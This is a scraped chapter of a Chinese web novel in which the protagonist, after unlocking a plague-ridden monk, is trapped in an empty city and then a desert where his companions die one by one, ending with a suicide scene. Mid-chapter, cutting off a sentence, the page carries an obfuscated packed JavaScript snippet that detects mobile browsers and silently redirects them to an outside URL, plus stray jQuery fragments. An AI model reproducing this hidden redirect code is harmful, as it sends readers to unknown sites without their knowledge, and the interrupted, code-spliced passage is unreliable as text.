文趣网 > 其他小说 > 卡BUG通关被阴湿信徒缠上了 > 134.死亡循环
    染血的戒刀落地,砸在青石板上发出脆响。

    苦行僧的动作僵住了。

    他有些茫然地低下头,看着自己血肉模糊的大腿,又摸了摸刚刺破一点皮的心口。那双充斥着病态自我感动的眼睛里,只剩下茫然的水汽打着转。

    “阿弥陀佛……贫僧这是在做什么?”

    他嘶了一口冷气,像是突然找回了痛觉,五官一瞬间皱:“好疼……好疼啊……贫僧这是练功走火入魔了。”

    沈行舟松了口气,他走上前,像老朋友一样拍了拍和尚的肩膀:“大师,别来无恙。”

    那僧人回头,眼瞬间亮了。

    他一把反握住沈行舟的手:“许久不见!贫僧听你的话,已经将倒悬观那些厉鬼都训练出来了!他们现在每日蹬三千次单车,怨气全消,别提多健康——”

    话音未落。

    “咯吱——”

    一声骨骼脆响硬生生截断了他的话头。

    沈行舟手一吃痛,苦行僧握着他的手猛地收紧,力道大得几乎要捏碎他的骨头。

    僧人的笑容凝固在脸上,随即扭曲成一种极度痛苦的狰狞。

    “呃……啊……”

    他的皮肤下仿佛有千百条蠕虫在疯狂地奔突游走。脖颈、脸颊、手臂,无数颗金黄色的岩石般的肉瘤硬疙瘩,以一种恐怖的速度破皮而出,密密麻麻地爬满了他的全身。

    僧人的瞳孔瞬间扩散,只剩下一片混沌的眼白。下一秒,他张开那张獠牙横生的嘴,喉咙深处滚出一声野兽般的低嗥,冲着沈行舟的脖颈便狠狠咬了下来!

    “铮——”

    电光石火之间,一道黑色的刀影横切而入。

    谢灼面色森寒,裹挟着万钧之力的长刀重重拍在僧人的侧颈。苦行僧被这一击直接轰飞,重重砸在三丈开外的墙上,滑落倒地,抽搐了两下便没了动静。

    与此同时,沈行舟只觉得腰间一紧。天旋地转间,整个人已被谢灼揽入怀中,带着向后掠出了数丈。

    谢灼低头,目光在他身上飞快扫视一圈,沉声问道:“先生,没有被碰到吧。”

    齐玄晦也匆匆忙忙跑上前来:“这、这难道就是那劳什子疫病?可哪儿有发作这么突然的。”

    沈行舟喘息未定,心跳如擂鼓。

    疫病。

    怎么会在一瞬间突然爆发?

    他突然心念一闪,心跳空了一拍:如果……他早就感染了呢?

    天下得病之人皆奔赴慈悲城寻医求药,自此再无法离开,被永远困在这座城中。而城里的人的共通之处,便是那把数据锁。

    病毒也是数据,数据锁便会把它永远压制住。而他自己把苦行僧的“锁”解开了,疫病便在一瞬间接管了这具躯壳。

    “这慈悲城里的人,根本就没有被治愈。他们早就全员感染了,只是被那把锁、不、被那个所谓的天神强行压制着,才没有显现出来。”他喃喃道了几句,“主教一定知道这件事!我们得去——”

    沈行舟急火攻心,下意识转身想去抓谢灼的手臂。

    然而,手却抓了个空。

    “……谢灼?”

    沈行舟愣了一下,慌乱地扭过头去。

    没人。

    谢灼不见了。

    他心脏猛地一沉,再扭头去看另一侧:“齐玄晦?!”

    也没有人。

    刚才还在旁边吐槽的道士,连同那两个看热闹的姑娘,甚至是不远处围观的群众、叫卖的小贩——所有人,在一瞬间,全部消失了。

    原本熙熙攘攘的长街,此刻空空荡荡,只剩下他,和面前那个正在地上痛苦扭动的僧人。

    “嘶——好痛……好痛啊……”

    僧人喉咙深处艰难地挤出含混的声音。他抬起头,那张已经变形得面目全非的脸上,依稀还能辨认出方才那双清澈的眼睛,此刻却盛满了怨毒与不解。

    “救救我……施主……”

    沈行舟脸色惨白,下意识后退了一步,声音发颤:“……我不知道怎么救你。锁已经开了,我关不上了。”

    “你不知道……?”

    僧人的扭动骤然停止了,浑浊的眼睛死死盯着他,声音陡然变得尖利刺耳:“救不了我……那你为什么要唤醒我!我本在混沌中安乐……是你!你让我变成了这副模样!你害死了我!”

    那浑身长满金石疙瘩的怪物猛地暴起,张开血盆大口扑向他!

    沈行舟只觉得头皮都要炸开了,浑身汗毛倒竖,转身连滚带爬地冲了出去。

    跑。

    拼命跑。

    两侧的景物被拉扯成模糊的流光,疯狂向后退去。

    沈行舟在空旷死寂的长街上狂奔,脚掌狠狠砸在石板上,震得脚踝生疼。心脏在胸腔里剧烈撞击,仿佛要撞断肋骨跳出来。寒风像刀子一样灌进气管,喉咙里泛起一股浓重的血腥气。

    不知跑了多久。

    沈行舟双腿一软,惯性带着他踉跄了好几步,最后不得不扶住膝盖,大口大口地喘息着停下来。

    汗水顺着睫毛滴落,刺得眼睛生疼,视线一阵模糊。

    他艰难地直起腰,茫然地抬起头,环顾四周。

    这依然是他熟悉的街道。

    青砖,灰瓦,飞檐,招展的酒旗。一砖一瓦都未曾改变,甚至连路边摊位上冒着热气的笼屉都还在。

    可这里又陌生得令人毛骨悚然。

    没有人。

    没有商贩,没有行人,没有巡逻的守卫,甚至连一只路过的野猫都没有。

    天边挂着一轮巨大的夕阳,比寻常的落日要大了好几圈,厚重地铺洒在街道上,将万物都染上了一层红色。他恍惚觉得自己闯入了一幅褪色的油画,被永远地钉在了这个凝固的黄昏之中。

    “……有人吗?”

    沈行舟咽了咽干涩的喉咙,声音在空旷的街道上回荡。

    他走出长街,试探着往旁边的小巷走去。所有的院门竟然全都大敞着,沈行舟壮着胆子,探头进了一户人家:“谢灼?齐玄晦?你们在里面吗?”

    没有回应。

    院子里晾着的衣裳还在风中轻轻摆动,石桌上的茶壶里还有半盏凉透的茶,可不见一个人影。

    沈行舟不知自己在这空城里转了多久。

    没有出口,没有尽头。每一条街道都长得一模一样,每一扇门背后都是同样的空荡。只有那轮凝固的血色夕阳不怀好意地注视着他。

    强烈的饥饿感后知后觉地涌了上来,胃部绞痛得像是要痉挛。沈行舟茫然地停下脚步,正好停在一个卖包子的小摊前。笼屉还冒着热气。

    他犹豫了一下,终究是抵抗不住胃里翻搅的空虚,抓起一个包子塞进嘴里。

    身后突然传来一道憨厚熟悉的声音,带着几分诧异:“黄大仙?你怎么也在这儿?”

    他猛地回头。

    只见那个系着油腻围裙、脖子上挂着银项链的壮汉,正站在巷子口,一脸惊喜地看着他。

    是围裙大哥!

    在那一瞬间,巨大的孤独感被冲散,沈行舟甚至觉得眼眶有些发热。

    “你在……太好了!”

    他几步冲过去,像是抓住了救命稻草,“快,这里不对劲,我们一起找路出去!”

    “行,听你的。我也快转晕了,这鬼地方怎么走都走不出去。”

    围裙大哥憨憨地挠了挠头,咧嘴一笑,跟上了他的步伐。

    两人并肩前行。沈行舟终于觉得安心了些,这地方似乎也没那么可怖了。

    然而,走着走着,周围的景象开始发生诡异的变化。

    原本青砖铺就的长街,不知何时变得崎岖不平,脚下的触感从石板变成了松软的沙砾。两侧的高墙大院像是被高温融化的蜡像,一点点塌陷、变形,最终化作了连绵起伏的土丘。

    当沈行舟回过神来时,慈悲城已经不见了。取而代之的,是一片苍茫荒凉的戈壁滩。四周什么都没有,只有漫漫黄沙,和脚下那条不知通向何方的、断断续续的古道。

    “这又是什么地方……”沈行舟心中阵阵发寒。

    两人停在一个岔路口前。左边是一条风沙漫天的峡谷,两侧的岩壁被风蚀出无数孔洞。右边则是一望无际的荒原,平坦万分。

    围裙大哥眯眼看了看,指着左边道:“要不咱们分头探探?我往左边去看看,你——”

    “这种鬼地方,还是一起走吧,相互有个照应。”沈行舟打断了他。

    “也行。”

    围裙大哥笑了笑,迈开腿,刚要踏入那条峡谷。

    变故陡生。

    他脚下的沙地突然像水面一样裂开!

    一张长满了一圈圈环形利齿的血盆大口,猛地从地下冲出,瞬间将他整个下半身吞了进去!

    沈行舟吓得肝胆俱裂,脚下一软摔在地上。他顾不得恐惧,手脚并用地爬过去,伸手就要去拉围裙大哥的手。

    然而,那怪物的咬合力大得惊人,正拖着男人疯狂往地下钻。

    在那生死的最后一瞬,那个

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17839468|206138||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    总是憨笑的汉子用尽最后一点力气,狠狠一掌拍在沈行舟的肩膀上,将他向后推了出去——

    “跑!!”

    沙地合拢,连血迹都被流沙迅速掩埋。

    沈行舟被推得滚出去好几圈,满嘴都是沙。他呆呆地看着那块平整的沙地,大脑一片空白。

    方才那张憨厚的笑脸还在眼前晃,他几乎咬碎了牙关,眼泪不受控制地夺眶而出,混着脸上的沙砾糊成一片。可他不敢停,转身朝着另一个方向,没命地狂奔起来。

    风沙割面,视线模糊。

    终于,前方出现了下一个路口。

    “……葡萄?”

    柳蒲桃和下棋的周老正静静地站在路边,像是等候多时。

    “呦,跑什么?”柳蒲桃依旧是一副弱柳扶风的模样,捏着帕子,柔柔弱弱地讶异道:“怎么这般慌张狼狈?”

    沈行舟喘着粗气,指着身后断断续续地说:“这地方有怪物……会吃人!你们怎么还站在这儿?不对劲,快跑!小心些!”

    柳蒲桃奇怪地歪了歪头,长长的睫毛扇动两下:“这里哪有什么不同?反倒是你,这么紧张作甚?莫不是魇着了?”

    “我得出去……我要找路……”沈行舟慌乱地摇头,有些语无伦次。

    “你若想出去,就走右边吧。”柳蒲桃抬起纤纤玉指,指向右侧的荒原。

    沈行舟往右边走了几步,突然脚步一顿,回头道:“你们不和我一起走吗?”

    两人没有动,他们只是定定地看着他,嘴角噙着一抹笑。

    周老突然开口了:“小儿,莫要跑得太快了。你该回头看看的。”

    沈行舟瞳孔骤缩。

    只见一阵风沙吹过。

    女子的皮肉瞬间像融化的蜡一样片片脱落,露出底下森森的白骨,却还保持着掩唇轻笑的姿势。而周老的身躯则在一瞬间极速腐烂,化作一滩散发着恶臭的烂肉和脓水。

    两人就在他的注视下,缓缓陷进流沙之中,瞬间被吞噬得干干净净。

    “啊——!!”

    沈行舟发出一声惨叫,脚下的流沙也同时在塌陷,他几乎被一起拖拽下去。求生的本能驱使着他连滚带爬地爬出沙坑,继续向前跑。

    不能停。

    停下就会死。

    前方,一袭张扬的红色道袍出现在视野里。

    齐玄晦站在下一个路口,手里摇着那把破扇子,一脸欠揍的笑意:“哟,找路呢?这也算是求上本座了?”

    他用扇柄随意地朝某个方向一指:“那边,在那边。生门在北。”

    这一次,沈行舟没有任何犹豫。他猛地冲过去,死命抓住了齐玄晦的手腕:“别废话!你得跟我一起走!别留在这儿!”

    齐玄晦被他抓得一愣,随即无奈地叹了口气:“真拿你没办法。好吧,本座就破例随你一次。”

    说着,他迈步跟上。

    然而,就在他迈步跨过路口的瞬间——

    “哗啦——”

    就像是一面镜子被重锤击碎。

    沈行舟手里一轻。

    “齐……玄晦?”

    红色的道袍瞬间化作无数晶莹的碎片,如镜花水月般当场崩散,映着沈行舟惊愕的面孔,化作点点灵光,消散在风中。

    沈行舟的手还保持着抓握的姿势,却只抓住了满手虚无的风。

    他的速度越来越慢,脚步越来越沉重。每一步都像是踩在刀尖上。

    不要再看到了……求求了,不要再到下一个路口了……

    我不想知道下一个是谁……

    可是路还在延伸。

    下一个路口。

    那个熟悉得让他心碎的黑色身影,正静静地站在那里。

    谢灼。

    他没有说话,只是温柔地看着满脸泪水的沈行舟,抬手指向前方,示意:路在那里。

    沈行舟张了张嘴,刚想喊“不要”。

    下一秒。

    谢灼毫不犹豫地拔刀。

    “铮——”

    寒光如匹练。

    他竟是对着自己的脖颈,挥刀自戕。

    鲜血喷溅而出,染红了半边天幕。头颅滚落在地,咕噜噜地滚到了沈行舟的脚边。

    沈行舟跑不动了。

    所有的力气在这一瞬间被彻底抽空。

    他双膝一软,扑通一声重重摔在路口。他双手抱头,额头死死抵着地面,肩头剧烈地抽动着。

    “对不起……对不起……不要再救我了……”